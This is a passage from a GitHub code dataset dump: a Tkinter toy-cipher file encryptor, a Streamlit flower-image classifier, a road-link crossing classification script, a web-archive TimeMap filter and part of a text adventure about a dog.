numRight.append(Entry(self.inputKey, width=10))\r\n numRight[i].grid(row=i+14, column=3)\r\n numRight[i].bind(\"\",\r\n lambda event, entry = numRight[i], char = chr(i + 53): self.cusKey(entry, char))\r\n numRight[i].bind(\"\",\r\n lambda event, entry = numRight[i], char = chr(i + 53): self.cusKey(entry, char))\r\n\r\n def createKeyLabels(self):\r\n \"\"\"Creates arrays of labels for the custom key\"\"\"\r\n charLeft = []\r\n charRight = []\r\n numLeft = []\r\n numRight = []\r\n\r\n for i in range(13):\r\n charLeft.append(Label(self.inputKey, text=chr(i + 97) + \":\", padx=5, pady=5))\r\n charLeft[i].grid(row=i, column=0)\r\n\r\n for i in range(13):\r\n charRight.append(Label(self.inputKey, text=chr(i + 110) + \":\", padx=5, pady=5))\r\n charRight[i].grid(row=i, column=2)\r\n\r\n for i in range(5):\r\n numLeft.append(Label(self.inputKey, text=chr(i + 48) + \":\", padx=5, pady=5))\r\n numLeft[i].grid(row=i+14, column=0)\r\n\r\n for i in range(5):\r\n numRight.append(Label(self.inputKey, text=chr(i + 53) + \":\", padx=5, pady=5))\r\n numRight[i].grid(row=i+14, column=2)\r\n\r\n def createKey(self):\r\n \"\"\"Opens a window where the user can create its own key character by character\"\"\"\r\n global customKey\r\n customKey = {}\r\n\r\n self.entriesLeft = StringVar()\r\n\r\n self.inputKey = Toplevel()\r\n self.inputKey.title(\"Create Key\")\r\n\r\n self.createKeyLabels()\r\n\r\n self.createKeyEntries()\r\n\r\n self.buttonDone = Button(self.inputKey, text=\"Done\",\r\n state=DISABLED,\r\n command=self.inputKey.destroy)\r\n self.buttonDone.grid(row=20, column=0)\r\n\r\n labelLeft = Label(self.inputKey, text=\"Entries Left: \", textvariable=self.entriesLeft)\r\n labelLeft.grid(row=20, column=3)\r\n self.entriesLeft.set(str(self.entries))\r\n\r\n self.inputKey.wait_window(self.inputKey)\r\n\r\n self.customKeyWin.destroy()\r\n\r\n def regKey(self, event):\r\n \"\"\"Gets key from entry\"\"\"\r\n self.key = self.key.get()\r\n self.keyWin.destroy()\r\n\r\n def cusKey(self, entry, char):\r\n \"\"\"Gets custom key and performs error checking\"\"\"\r\n j = 0\r\n key = entry.get()\r\n\r\n if key.isalnum() and len(key) == 1:\r\n if key.isalpha():\r\n key = key.lower()\r\n\r\n for i in customKey:\r\n if customKey[i] == key:\r\n j = 1\r\n\r\n customKey[char] = key\r\n else:\r\n j = 1\r\n\r\n if j == 0:\r\n entry['bg'] = \"Light Green\"\r\n self.entries -= 1\r\n if self.entries == 0:\r\n self.buttonDone['state'] = NORMAL\r\n elif entry['bg'] != \"Red\":\r\n if entry['bg'] == \"Light Green\":\r\n self.entries += 1\r\n entry['bg'] = \"Red\"\r\n customKey[char] = \"\"\r\n\r\n if self.entries != 0:\r\n self.buttonDone['state'] = DISABLED\r\n\r\n self.entriesLeft.set(str(self.entries))\r\n\r\n def selectEncryption(self, opt, file):\r\n \"\"\"Chooses between the different types of encryption\"\"\"\r\n if opt == \"1\":\r\n self.getKey()\r\n self.keyWin.wait_window(self.keyWin)\r\n encryptCaesar(file, self.key)\r\n self.encryptWin.destroy()\r\n elif opt == \"2\":\r\n self.getKey()\r\n self.keyWin.wait_window(self.keyWin)\r\n encryptVigenere(file, self.key)\r\n self.encryptWin.destroy()\r\n elif opt == \"3\":\r\n self.getCustomKey()\r\n self.customKeyWin.wait_window(self.customKeyWin)\r\n encryptCustom(file, customKey)\r\n self.encryptWin.destroy()\r\n elif opt == \"4\":\r\n encryptRandom(file)\r\n self.encryptWin.destroy()\r\n\r\n def wait(self):\r\n \"\"\"Wait function for synchronization\"\"\"\r\n self.encryptWin.wait_window(self.encryptWin)\r\n\r\n# The following functions are named by what they do\r\n\r\ndef encryptCaesar(file, key):\r\n numKey = (ord(key) % 32) % 10\r\n chrKey = ord(key) % 32\r\n newText = \"c\" + key + \"\\n\"\r\n textToEncrypt = file.read()\r\n\r\n for letter in textToEncrypt:\r\n if letter.isnumeric():\r\n newLetter = ord(letter) + numKey\r\n if newLetter > 57:\r\n newLetter -= 10\r\n\r\n newText += str(chr(newLetter))\r\n\r\n elif letter.isalpha():\r\n newLetter = ord(letter) + chrKey\r\n if (letter.islower() and newLetter > 122) or (letter.isupper() and newLetter > 90):\r\n newLetter -= 26\r\n\r\n newText += str(chr(newLetter))\r\n\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"CaesarEncrypted.txt\")\r\n\r\n return\r\n\r\ndef decryptCaesar(file, key):\r\n numKey = (ord(key) % 32) % 10\r\n chrKey = ord(key) % 32\r\n newText = \"\"\r\n textToEncrypt = file.read()\r\n\r\n for letter in textToEncrypt:\r\n if letter.isnumeric():\r\n newLetter = ord(letter) - numKey\r\n if newLetter < 48:\r\n newLetter += 10\r\n\r\n newText += str(chr(newLetter))\r\n\r\n elif letter.isalpha():\r\n newLetter = ord(letter) - chrKey\r\n if (letter.islower() and newLetter < 97) or (letter.isupper() and newLetter < 65):\r\n newLetter += 26\r\n\r\n newText += str(chr(newLetter))\r\n\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"Decrypted.txt\")\r\n\r\n return\r\n\r\ndef encryptVigenere(file, key):\r\n i = 0\r\n keyLen = len(key)\r\n newText = \"v\" + key + \"\\n\"\r\n textToEncrypt = file.read()\r\n\r\n for letter in textToEncrypt:\r\n if letter.isnumeric():\r\n newLetter = ord(letter) + ((ord(key[i])%32)%10)\r\n if newLetter > 57:\r\n newLetter -= 10\r\n\r\n i += 1\r\n if i == keyLen:\r\n i = 0\r\n\r\n newText += str(chr(newLetter))\r\n\r\n elif letter.isalpha():\r\n newLetter = ord(letter) + (ord(key[i])%32)\r\n if (letter.islower() and newLetter > 122) or (letter.isupper() and newLetter > 90):\r\n newLetter -= 26\r\n\r\n i += 1\r\n if i == keyLen:\r\n i = 0\r\n\r\n newText += str(chr(newLetter))\r\n\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"VigenereEncrypted.txt\")\r\n\r\n return\r\n\r\ndef decryptVigenere(file, key):\r\n i = 0\r\n keyLen = len(key)\r\n newText = \"\"\r\n textToDecrypt = file.read()\r\n\r\n for letter in textToDecrypt:\r\n if letter.isnumeric():\r\n newLetter = ord(letter) - ((ord(key[i])%32)%10)\r\n if newLetter < 48:\r\n newLetter += 10\r\n\r\n i += 1\r\n if i == keyLen:\r\n i = 0\r\n\r\n newText += str(chr(newLetter))\r\n\r\n elif letter.isalpha():\r\n newLetter = ord(letter) - (ord(key[i])%32)\r\n if (letter.islower() and newLetter < 97) or (letter.isupper() and newLetter < 65):\r\n newLetter += 26\r\n\r\n i += 1\r\n if i == keyLen:\r\n i = 0\r\n\r\n newText += str(chr(newLetter))\r\n\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"Decrypted.txt\")\r\n\r\n return\r\n\r\ndef encryptCustom(file, key):\r\n newText = \"u\"\r\n for i in key:\r\n newText += i + key[i]\r\n newText += \"\\n\"\r\n textToEncrypt = file.read()\r\n\r\n for letter in textToEncrypt:\r\n if letter.isalnum():\r\n if letter.isupper():\r\n newText += key[letter.lower()].upper()\r\n else:\r\n newText += key[letter]\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"CustomEncrypted.txt\")\r\n\r\n return\r\n\r\ndef encryptRandom(file):\r\n key = {}\r\n\r\n numList = list(range(0, 26))\r\n for i in range(26):\r\n num = random.randrange(0, 26 - i)\r\n key[chr(i + 97)] = chr(numList[num] + 97)\r\n del numList[num]\r\n\r\n numList = list(range(0, 10))\r\n for i in range(10):\r\n num = random.randrange(0, 10 - i)\r\n key[chr(i + 48)] = chr(numList[num] + 48)\r\n del numList[num]\r\n\r\n newText = \"r\"\r\n for i in key:\r\n newText += i + key[i]\r\n newText += \"\\n\"\r\n\r\n textToEncrypt = file.read()\r\n\r\n for letter in textToEncrypt:\r\n if letter.isalnum():\r\n if letter.isupper():\r\n newText += key[letter.lower()].upper()\r\n else:\r\n newText += key[letter]\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"RandomEncrypted.txt\")\r\n\r\n return\r\n\r\ndef decryptCustom(file, key):\r\n decryptKey = {}\r\n length = len(key)\r\n for i in range(0, length, 2):\r\n decryptKey[key[i + 1]] = key[i]\r\n\r\n newText = \"\"\r\n textToDecrypt = file.read()\r\n\r\n for letter in textToDecrypt:\r\n if letter.isalnum():\r\n if letter.isupper():\r\n newText += decryptKey[letter.lower()].upper()\r\n else:\r\n newText += decryptKey[letter]\r\n else:\r\n newText += letter\r\n\r\n createFile(file, newText, \"Decrypted.txt\")\r\n\r\n return\r\n\r\ndef createFile(file, newText, name):\r\n nameFile = file.name[:-4] + name\r\n newFile = open(nameFile, \"w\")\r\n newFile.write(newText)\r\n newFile.close()\r\n\r\ndef pickAFile():\r\n file = askopenfilename()\r\n if file == None:\r\n print(\"No File Selected\")\r\n return \"\"\r\n else:\r\n return file\r\n\r\n# Run program\r\n\r\ndata = Data()\r\ndata.go()\r\n\r\n","repo_name":"dandlim/IncognitoStatistics","sub_path":"IncognitoStatistics.py","file_name":"IncognitoStatistics.py","file_ext":"py","file_size_in_byte":29424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"40657139099","text":"from os import write\r\nfrom numpy.core.fromnumeric import argmax\r\nfrom numpy.lib.type_check import imag\r\nimport tflite_runtime.interpreter as tflite\r\nfrom PIL import Image\r\nimport numpy as np\r\nimport urllib.request\r\nimport streamlit as st\r\nimport time\r\nimport base64\r\n\r\n\r\n# streamlit interface \r\nst.title(\"Flower Image Classification App\")\r\nst.text(\"Developed by Subramanian Hariharan\")\r\nst.text('This App classifies a flower image into Daisy/Dandelion/Rose/Sunflower/Tulip')\r\nst.text('Link for reference documents are available at bottom of page')\r\n# For newline\r\nst.write('\\n')\r\n#show a display image\r\nimage = Image.open('diplay_image.jpg')\r\nu_img=image.resize((299,299))\r\nshow = st.image(u_img)\r\n\r\n#Disabling warning\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\n\r\n \r\n#function to process image\r\ndef process_image(img): \r\n img = img.resize((224,224),Image.NEAREST)\r\n x = np.array(img,dtype='float32')\r\n x = x/255\r\n x = np.expand_dims(x, axis=0)\r\n return x \r\n\r\n#tflite loading the model and getting ready for predictions\r\ninterpreter = tflite.Interpreter(model_path='mobilet_flower_v3.tflite')\r\ninterpreter.allocate_tensors()\r\ninput_details = interpreter.get_input_details()\r\ninput_index = input_details[0]['index']\r\noutput_details = interpreter.get_output_details()\r\noutput_index = output_details[0]['index']\r\n\r\n#model prediction\r\ndef predict(X):\r\n interpreter.set_tensor(input_index, X)\r\n interpreter.invoke()\r\n preds = interpreter.get_tensor(output_index)\r\n return preds[0]\r\n\r\nlabels = ['daisy', 'dandelion', 'rose', 'sunflower','tulip']\r\nlabel_dict = {0:'daisy',1: 'dandelion', 2:'rose',3: 'sunflower',4:'tulip'}\r\n\r\n#decode predictions\r\ndef decode_predictions(pred):\r\n result = {c: float(p) for c, p in zip(labels, pred)}\r\n result['Prediction']=f'Given image is {label_dict[pred.argmax()]}'\r\n return result\r\n\r\n#main function for model prediction using tflite model and getting decoded results\r\ndef get_prediction(u_img):\r\n X = process_image(u_img)\r\n preds = predict(X)\r\n results = decode_predictions(preds)\r\n return results\r\n\r\nuser_option = st.radio(\"Select an Option: \", ('Upload','URL'))\r\nst.write(user_option)\r\nif (user_option=='URL'):\r\n url = st.text_input('Enter Your Image Url(No quotes plse)')\r\n st.text('You have an error message if you take more than 5 sec to enter URL.')\r\n st.text(\"You may ignore error and proceed\")\r\n time.sleep(5)\r\n st.write(url) \r\n urllib.request.urlretrieve(url,\"user_image.jpg\")\r\n u_img = Image.open(\"user_image.jpg\")\r\n u_img = u_img.resize((229,229))\r\n show.image(u_img, 'Uploaded Image')\r\nelif (user_option=='Upload') :\r\n #take an image from user and run model prediction\r\n st.sidebar.title(\"Upload Image\")\r\n #Give an option for uploading a file\r\n uploaded_file = st.sidebar.file_uploader(\" \",type=['png', 'jpg', 'jpeg'] )\r\n if uploaded_file is not None:\r\n u_img = Image.open(uploaded_file)\r\n u_img = u_img.resize((299,299))\r\n show.image(u_img, 'Uploaded Image')\r\n elif uploaded_file is None: \r\n st.sidebar.write(\"Please upload an Image to Classify\")\r\n\r\n#st.sidebar.button(\"Click Here to Classify\")\r\n\r\nwith st.spinner('Classifying ...'): \r\n prediction = get_prediction(u_img)\r\n time.sleep(2)\r\n st.success('Done! Please check output in sidebar..')\r\n\r\nst.sidebar.header(\"Model Prediction of Probabilities and Infernce: \")\r\nst.sidebar.write(prediction)\r\n \r\n# upload pdf file with instructions\r\ndef st_display_pdf(pdf_file):\r\n with open(pdf_file,'rb') as f:\r\n base64_pdf = base64.b64encode(f.read()).decode('utf-8')\r\n pdf_display = f''\r\n st.markdown(pdf_display, unsafe_allow_html=True)\r\n \r\ndoc = st.checkbox('Display Instructions')\r\npdf_file_name =\"SCREEN SHOTS OF TESTING.pdf\"\r\nif doc:\r\n st_display_pdf(pdf_file_name)\r\n\r\nst.text(f'Flower_Classification_App_v1_{time.ctime()}')","repo_name":"HSubbu/flower_classification_project","sub_path":"streamlit_app.py","file_name":"streamlit_app.py","file_ext":"py","file_size_in_byte":4019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"19"} +{"seq_id":"11337051008","text":"# Simple script to add categorisation of OR road links as permitting informal crossing or not\nimport numpy as np\nimport geopandas as gpd\nimport os\nimport json\n\n\n######################\n#\n#\n# Initialise variables and paths to data inputs and outputs\n#\n#\n#####################\nprojectCRS = \"epsg:27700\"\n\nwith open(\"config.json\") as f:\n config = json.load(f)\n\ngis_data_dir = config['gis_data_dir']\noutput_directory = os.path.join(gis_data_dir, \"processed_gis_data\")\n\noutput_or_link_file = os.path.join(output_directory, config[\"openroads_link_processed_file\"])\n\n\n\n# class_rename_dict is taken from the 'pavenet_centrality.py' script\nclass_rename_dict = { 'Unknown':'Unclassified',\n 'Not Classified': 'Unclassified',\n 'Unclassified_Unknown': 'Unclassified',\n 'Unknown_Unclassified': 'Unclassified',\n 'Unclassified_Not Classified': 'Unclassified',\n 'Not Classified_Unclassified': 'Unclassified',\n 'Not Classified_Unknown': 'Unclassified',\n 'Unknown_Not Classified': 'Unknown',\n 'Unknown_A Road': 'A Road',\n 'Unclassified_A Road':'A Road',\n 'Unclassified_B Road':'B Road',\n 'B Road_Unclassified': 'B Road',\n 'Unknown_Classified Unnumbered': 'Classified Unnumbered',\n 'Unknown_Unclassified_Classified Unnumbered': 'Classified Unnumbered',\n 'Unclassified_Classified Unnumbered':'Classified Unnumbered',\n 'Not Classified_Classified Unnumbered': 'Classified Unnumbered',\n 'Classified Unnumbered_A Road': 'A Road',\n 'Classified Unnumbered_Unclassified': 'Classified Unnumbered',\n 'B Road_A Road': 'A Road',\n 'A Road_Not Classified':'A Road',\n 'Not Classified_A Road': 'A Road',\n 'Unclassified_B Road_A Road':'A Road',\n 'B Road_Unclassified_A Road': 'A Road',\n 'Classified Unnumbered_Unknown': 'Classified Unnumbered',\n 'B Road_Unknown': 'B Road',\n 'Not Classified_B Road': 'B Road',\n 'B Road_Classified Unnumbered': 'B Road',\n 'Unclassified_Classified Unnumbered_Unknown': 'Classified Unnumbered',\n 'Unclassified_Unknown_A Road': 'A Road',\n 'Unknown_Unclassified_A Road': 'A Road',\n 'Not Classified_Unclassified_A Road': 'A Road',\n 'Classified Unnumbered_B Road': 'B Road',\n 'B Road_Not Classified': 'B Road',\n 'Classified Unnumbered_Not Classified': 'Classified Unnumbered',\n 'Unclassified_Not Classified_A Road': 'A Road',\n 'A Road_B Road':'A Road',\n 'A Road_Not Classified_Unknown':'B Road',\n 'A Road_Unknown':'Unclassified'\n\n }\n\n\n#\n# Load the data\n#\ngdfORLink = gpd.read_file(output_or_link_file)\n\n###########################################\n#\n#\n# Add in informal crossing classification to or road links\n#\n#\n###########################################\n\nno_informal_crossing_links = None\n\nif 'class' in gdfORLink:\n\tgdfORLink['class'] = gdfORLink['class'].replace(class_rename_dict)\n\tassert gdfORLink.loc[ ~gdfORLink['class'].isin(['Unclassified','A Road','B Road', 'Classified Unnumbered'])].shape[0] == 0\n\n\tno_informal_crossing_links = gdfORLink.loc[ gdfORLink['class'].isin(['A Road']), 'fid'].tolist()\n\tno_informal_crossing_links+= config['no_informal_crossing_links']\nelse:\n\tno_informal_crossing_links = config['no_informal_crossing_links']\n\n\ngdfORLink['infCross'] = 'true'\ngdfORLink.loc[ gdfORLink['fid'].isin(no_informal_crossing_links), 'infCross'] = 'false'\n\n\ngdfORLink.to_file(output_or_link_file)","repo_name":"obisargoni/OSPavements","sub_path":"informalCrossingRoadLinkAttribute.py","file_name":"informalCrossingRoadLinkAttribute.py","file_ext":"py","file_size_in_byte":4073,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"19"} +{"seq_id":"7657351591","text":"from urllib.parse import urlparse\nimport pandas as pd\nimport json\nimport sys\nimport os\nfrom surt import handyurl\n\ndef alphabetize_params(url):\n o = urlparse(url)\n params = sorted(o.query.split('&'))\n return '&'.join(params)\n\ndef filter_timemap(timemap):\n try:\n jso = pd.read_json(timemap)\n except:\n return \"\"\n \n urif = alphabetize_params(jso.loc['first']['original_uri'])\n \n mementos = jso.loc['list']['mementos']\n mementos2 = []\n for memento in mementos:\n uric = alphabetize_params(memento['uri'])\n if uric == urif:\n mementos2.append(memento)\n \n if len(mementos2) == 0:\n return \"\"\n \n json2 = {}\n json2['original_url'] = jso.loc['first']['original_uri']\n json2['self'] = jso.loc['first']['self']\n json2['mementos'] = {}\n json2['mementos']['list'] = mementos2\n json2['mementos']['first'] = mementos2[0]\n json2['mementos']['last'] = mementos2[-1]\n json2['timemap_uri'] = {}\n \n prefix = json2['self'].replace('json/' + json2['original_url'], '')\n json2['timemap_uri']['link_format'] = prefix + 'link/' + json2['original_url']\n json2['timemap_uri']['json_format'] = json2['self']\n json2['timemap_uri']['cdxj_format'] = prefix + 'cdxj/' + json2['original_url']\n json2['timegate_uri'] = jso.loc['first']['timegate_uri']\n \n return json.dumps(json2, indent = 2)\n\ni = 1\nquery_urirs = []\nwith open('get_timemaps.txt') as urls:\n for line in urls:\n urir = handyurl.parse(line.strip()).geturl()\n if '?' in urir or '&' in urir:\n url_form = '{:0>5}'.format(i) + '.json'\n query_urirs.append(url_form)\n i = i + 1\n\noriginal_stdout = sys.stdout\nx = 1\n\nfor timemap in os.listdir('timemaps'+ str(x)):\n #timemap = '00051.json'\n if timemap in query_urirs:\n tmap2 = filter_timemap(\"timemaps\" + str(x) + \"/\" + timemap)\n with open(\"filtered-timemaps/\" + timemap, 'w') as f:\n sys.stdout = f # Change the standard output to the file we created.\n if tmap2:\n print(tmap2)\n sys.stdout = original_stdout # Reset the standard output to its original value\n\n ","repo_name":"phonedude/cs895-f22","sub_path":"assignments/frew/week-14-extending-edgi/filter_params.py","file_name":"filter_params.py","file_ext":"py","file_size_in_byte":2139,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"19"} +{"seq_id":"17396561320","text":"from sys import exit\nfrom time import sleep\nimport os\nimport platform\n\nreally_bored = 0\n\ndef check_input():\n\tuser_choice = input(\"> \")\n\n\tif user_choice.lower() == \"q\":\n\t\tprint(\"Thanks for playing!\")\n\t\texit(0)\n\telif user_choice.lower() == \"r\":\n\t\trestart()\n\treturn user_choice\n\ndef adventure():\n\tprint(\"\\nYou are a dog.\")\n\tprint(\"You are an adventurous dog.\")\n\tprint(\"You are an adventurous dog who likes to make decisions.\")\n\tprint(\"Your first decision is whether to play outside or inside today.\")\n\tprint(\"[1] Outside sounds nice \\n[2] Inside is cool\")\n\n\tnumber_of_tries = 0\n\twhile True:\n\t\tchoice = check_input()\n\n\t\tif choice == \"1\" or \"outside\" in choice:\n\t\t\tchange_room(door, 0)\n\t\telif choice == \"2\" or \"inside\" in choice:\n\t\t\tchange_room(inside, 0)\n\t\telse:\n\t\t\tif number_of_tries == 0:\n\t\t\t\tprint(\"\\nC'mon, man... we ain't got all day here. Make a decision!\")\n\t\t\t\tnumber_of_tries += 1\n\t\t\telif number_of_tries == 1:\n\t\t\t\tprint(\"\\nDude, seriously. I'm starting to get mad.\")\n\t\t\t\tnumber_of_tries += 1\n\t\t\telse:\n\t\t\t\tdead(\"\\nThat's it, I'm kicking you out of the game.\")\n\ndef door():\n\tprint(\"\\nYou really want to go outside but the door is shut. What's your strategy?\")\n\tprint(\"[1] Scratch at the door \\n[2] Bark at the door \\n[3] Pee on the floor \\n[4] You change your mind, inside sounds more interesting.\")\n\n\tchoice = check_input()\n\n\tif choice == \"1\" or \"scratch\" in choice:\n\t\tprint(\"\\nYou scratch furiously at the door, letting out an occasional whine. \\nYour human comes and scolds you, then opens the door.\")\n\t\tprint(\"Finally, out of the house and into the sunshine!\")\n\t\tchange_room(front_yard, 8.0)\n\telif choice == \"2\" or \"bark\" in choice:\n\t\tprint(\"\\nYou let out a mighty bark: Bark! \\nbark, bark, bark, bark \\nYour human comes and opens the door.\")\n\t\tprint(\"Finally, a taste of freedom!\")\n\t\tchange_room(front_yard, 8.0)\n\telif choice == \"3\" or \"pee\" in choice:\n\t\tprint(\"\\nYou pee on the floor, right in a corner where it will be hard to clean.\")\n\t\tdead(\"You get a swat on the nose and your human puts you in the kennel for the rest of the day.\")\n\telif choice == \"4\" or \"inside\" in choice or \"change\" in choice:\n\t\tchange_room(inside, 0)\n\telse:\n\t\tprint(\"\\nClearly you don't have a cohesive plan so you sit and look longingly at the door for a while.\")\n\t\tboredom()\n\t\tchange_room(inside, 0)\n\ndef inside():\n\t\n\twhile True:\n\t\tprint(\"\\nYou decide to the explore the house.\")\n\t\tprint(\"There is a lovely scent wafting from the kitchen.\")\n\t\tprint(\"Your food bowl is in the laundry room.\")\n\t\tprint(\"There are some tasty leather shoes in the closet upstairs to chew on.\")\n\t\tprint(\"[1] What's going on in the kitchen? \\n[2] Go to the laundry room to get some grub \\n[3] Shoes! \\n[4] You change your mind, outside sounds better\")\n\t\t\n\t\tchoice = check_input()\n\n\t\tif choice == \"1\" or \"kitchen\" in choice:\n\t\t\tprint(\"\\nWhatever is going on in the kitchen seems interesting. You head that way to investigate.\")\n\t\t\tchange_room(kitchen)\n\t\t\tbreak\n\t\telif choice == \"2\" or \"laundry\" in choice or \"food\" in choice:\n\t\t\tprint(\"\\nYour tummy rumbles and the laundry room seems like the clear choice. You head that way to get some vittles.\")\n\t\t\tchange_room(laundry)\n\t\t\tbreak\n\t\telif choice == \"3\" or \"shoes\" in choice or \"upstairs\" in choice:\n\t\t\tprint(\"\\nYou've been eyeing a particularly juicy-looking pair of loafers. You head upstairs to find them.\")\n\t\t\tchange_room(upstairs)\n\t\t\tbreak\n\t\telif choice == \"4\" or \"outside\" in choice or \"change\" in choice:\n\t\t\tchange_room(door, 0)\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"\\nClearly you don't have a cohesive plan so you sit and look longingly around the room.\")\n\t\t\tback_to_prompt(5.0)\n\ndef front_yard():\n\tprint(\"\\nYou decide to explore the yard.\")\n\tprint(\"In the corner of the yard, you see a nice hole you've been working on.\")\n\tprint(\"The neighbor's dog is sitting by the fence.\")\n\tprint(\"The kids are blowing bubbles in the yard.\")\n\tprint(\"[1] Work on the hole \\n[2] Head to the fence for some quality socialization \\n[3] Bubbles! \\n[4] Screw the yard... I want REAL freedom!\")\n\n\tchoice = check_input()\n\n\tif choice == \"1\" or \"hole\" in choice:\n\t\tprint(\"\\nThe fat, juicy bone isn't going to bury itself. Time to get some work done.\")\n\t\tprint(\"You head to the partially-dug hole and begin to add to your previous work.\")\n\t\tprint(\"Uh oh, your human is coming toward you and he doesn't look happy.\")\n\t\tdead(\"You get a swat on the nose and your human puts you in the kennel for the rest of the day.\")\n\telif choice == \"2\" or \"fence\" in choice or \"socialization\" in choice or \"dog\" in choice:\n\t\tprint(\"\\nThe neighbor's dog is pretty cute and definitely worth some attention. You strut over in your most confident gait.\")\n\t\tprint(\"When you get to the fence, you smell something funny.\")\n\t\tprint(\"Something very peculiar that you don't like a t a l l.\")\n\t\tprint(\"Is that..... the scent of another dog??\")\n\t\tdead(\"Turns out your neighbor's dog already has a partner.\")\n\telif choice == \"3\" or \"bubbles\" in choice:\n\t\tprint(\"\\nCatching bubbles is the best activity in the world! \\nYou run over to the kids and beginning snapping at bubbles.\")\n\t\tdead(\"You lose track of time and spend the rest of the day playing with bubbles.\")\n\telif choice == \"4\" or \"freedom\" in choice:\n\t\tdead(\"\\nYou run out of the yard and immediately get hit by a passing car.\")\n\telse:\n\t\tprint(\"\\nClearly there are too many great options so you sit around and look longingly at the yard.\")\n\t\tboredom()\n\t\tchange_room(front_yard, 0)\n\ndef kitchen():\n\t\n\twhile True:\n\t\tprint(\"\\nUpon arriving to the kitchen, you realize the amazing scent is coming from the counter.\")\n\t\tprint(\"You can't tell what it is, but your senses say that it is food. \\nPeople food.\\nThe best kind of food.\")\n\t\tprint(\"What's the plan here?\")\n\t\tprint(\"[1] Jump up and pull the food down \\n[2] Stay away... trying to eat people food always leads to trouble.\")\n\n\t\tchoice = check_input()\n\n\t\tif choice == \"1\" or \"jump\" in choice:\n\t\t\tprint(\"\\nYou attempt to jump up and get the food.\")\n\t\t\tprint(\"You fall backwards and crash into the table, which gets the attention of your human.\")\n\t\t\tdead(\"You get a swat on the nose and your human puts you in the kennel for the rest of the day.\")\n\t\telif choice == \"2\" or \"stay\" in choice:\n\t\t\tprint(\"\\nWise decision. You should probably find something else to do.\")\n\t\t\tchange_room(inside)\n\t\telse:\n\t\t\tprint(\"\\nThat's not an option.\")\n\t\t\tback_to_prompt()\n\t\t\t\ndef laundry():\n\tprint(\"\\nYou stroll to the laundry room, the best room in the house.\")\n\tprint(\"In here you see your comfy bed, food bowl, and several toys.\")\n\tprint(\"[1] Take a nap \\n[2] Eat some food \\n[3] Play with a toy\")\n\n\twhile True:\n\t\tchoice = check_input()\n\n\t\tif choice == \"1\" or \"nap\" in choice:\n\t\t\tprint(\"\\nYawn. A nap sounds great right now.\")\n\t\t\tdead(\"You sleep for the rest of the day.\")\n\t\telif choice == \"2\" or \"eat\" in choice:\n\t\t\tprint(\"\\nWell sure, that's what we came in here for in the first place.\")\n\t\t\tprint(\"Nom nom nom\")\n\t\t\tprint(\"Now what?\")\n\t\t\tboredom()\n\t\t\tchange_room(inside, 0)\n\t\telif choice == \"3\" or \"toy\" in choice:\n\t\t\tprint(\"\\nYou pick up the nearest chew toy in your mouth.\")\n\t\t\tprint(\"This seems nice... rubbery yet firm. Quality toys are a rare commodity these days.\")\n\t\t\tprint(\"Chew chew chew\")\n\t\t\tprint(\"Now what?\")\n\t\t\tboredom()\n\t\t\tchange_room(inside, 0)\n\t\telse:\n\t\t\tprint(\"I don't know what that means.\")\n\t\t\tback_to_prompt()\n\t\t\t\ndef upstairs():\n\tprint(\"\\nYou head upstairs to find those loafers you wanted to try.\")\n\tprint(\"At the top of the stairs, you have some options.\")\n\tprint(\"[1] Go to the left \\n[2] Go to the right\")\n\n\twhile True:\n\t\tchoice = check_input()\n\n\t\tif choice == \"1\" or \"left\" in choice:\n\t\t\tprint(\"\\nYou can't remember which closet you saw those loafers in but you think it might be this way.\")\n\t\t\tprint(\"You get to the bedroom but the door is tightly closed.\")\n\t\t\tprint(\"You turn around and walk to the other end of the hall.\")\n\t\t\tchange_room(bedroom, 10.0)\n\t\telif choice == \"2\" or \"right\" in choice:\n\t\t\tprint(\"\\nYou can't remember which closet those loafers were in but this way seems like a good place to start.\")\n\t\t\tchange_room(bedroom)\n\t\telse:\n\t\t\tprint(\"\\nYou only have two options. Pick one.\")\n\t\t\tback_to_prompt()\n\t\t\t\ndef bedroom():\n\tprint(\"\\nYou push the bedroom door open with your nose and make your way to the closet across the room.\")\n\tprint(\"You begin to dig around for those loafers.\")\n\tprint(\"Suddenly you are struck by a pang of guilt and wonder if you should continue.\")\n\tprint(\"[1] Nah, just ignore the guilt. These shoes are worth it. \\n[2] On second thought, this might be a bad idea. Eating shoes always leads to trouble.\")\n\n\twhile True:\n\t\tchoice = check_input()\n\n\t\tif choice == \"1\" or \"ignore\" in choice:\n\t\t\tprint(\"\\nYou find the shoes and begin to naw away.\")\n\t\t\tprint(\"Boy, were these worth it... so tasty.\")\n\t\t\tprint(\"Uh oh, your human is at the closet door!\")\n\t\t\tdead(\"You get a swat on the nose and your human puts you in the kennel for the rest of the day.\")\n\t\telif choice == \"2\":\n\t\t\tprint(\"\\nWise decision. Humans really seem to like their shoes a lot.\")\n\t\t\tprint(\"You should probably find something else to do.\")\n\t\t\tchange_room(inside)\n\t\telse:\n\t\t\tprint(\"\\nWhat?\")\n\t\t\tback_to_prompt(2.0)\n\t\t\t\ndef boredom():\n\tglobal really_bored\n\tif really_bored == 0:\n\t\treally_bored += 1\n\t\tsleep(2.0)\n\t\tprint(\"\\nBoredom sets in and you forget what you were doing here in the first place.\")\n\t\tprint(\"You look around, searching for a hint.\\n\")\n\t\tsleep(5.25)\n\t\tprint(\"You scratch behind your ear. That feels pretty good.\")\n\t\tprint(\"You're getting distracted... focus!\")\n\t\tsleep(4.25)\n\t\tprint(\"\\n\\n\")\n\t\tprint(\"Nope. Nothing.\")\n\t\tsleep(3.25)\n\t\tprint(\"\\n\\n\")\n\t\tinput(\"Press [enter] to continue......\")\n\telif really_bored == 1:\n\t\treally_bored += 1\n\t\tsleep(2.0)\n\t\tprint(\"\\nBored again, you look for something to do.\")\n\t\tprint(\"You look around, wondering if you'll see something interesting.\\n\")\n\t\tsleep(4.75)\n\t\tprint(\"You lick your balls. 